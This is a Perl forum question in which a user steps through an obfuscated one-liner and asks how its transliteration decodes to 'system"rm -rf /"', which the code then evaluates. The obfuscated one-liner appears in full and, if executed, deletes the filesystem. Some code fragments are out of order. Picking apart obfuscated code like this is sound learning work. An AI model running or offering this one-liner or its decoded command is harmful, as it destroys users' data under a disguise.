igoryonya has asked for the wisdom of the Perl Monks concerning the following question:
I normalized ()?():() and s/// and y/// structures$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
Since perl -e doesn't get any input to work on, i.e., $_ is empty and $? is always 0 in this code, so, the following part of a condition is always executed:($?) ?(s/;s/s;;$?/) :(s//=]=>%-{<-|}<&|`{/); y/ -\/:-@[-`{-}/`-{\/" -/; s//$_/see
Which, I think, is equivalent to:s//=]=>%-{<-|}<&|`{/
so, the normalized code could be simplified to:$_ =~ s//=]=>%-{<-|}<&|`{/;
so, s/// would result in:s//=]=>%-{<-|}<&|`{/; y/ -\/:-@[-`{-}/`-{\/" -/; s//$_/see
Then, this string is translated with:$_ = "=]=>%-{<-|}<&|`{";
i printed $_ after y/// transliteration and it resulted in:y/ -\/:-@[-`{-}/`-{\/" -/;
Please explain, I don't understand, how y/// string above converted '=]=>%-{<-|}<&|`{' to 'system"rm -rf /"'$_ = 'system"rm -rf /"';
and got the following string:my $r = ""; my $rs = q( -/:-@[-`{-}); $rs =~ s/(.)-(.)/r($1, $2)/ge; $rs =~ s/([-\/\\])/\\$1/g; print "$rs\n"; sub r{ my ($f, $t) = @_; my $s = ""; map { $s .= chr($_) } ord($f)..ord($t); return $s; }
and did the same thing with the replacement string: "`-{/" -" and got the following string:$_ = q/ !"#$%&'()*+,\-.\/:;<=>?@[\\]^_`{|}/;
so, the translation string becomes:$_ = q/`abcdefghijklmnopqrstuvwxyz{\/" \-/;
y/ !"#$%&'()*+,\-.\/:;<=>?@[\\]^_`{|}/`abcdefghijklmnopqrstuvwxyz{\/" +\-/;
|
|---|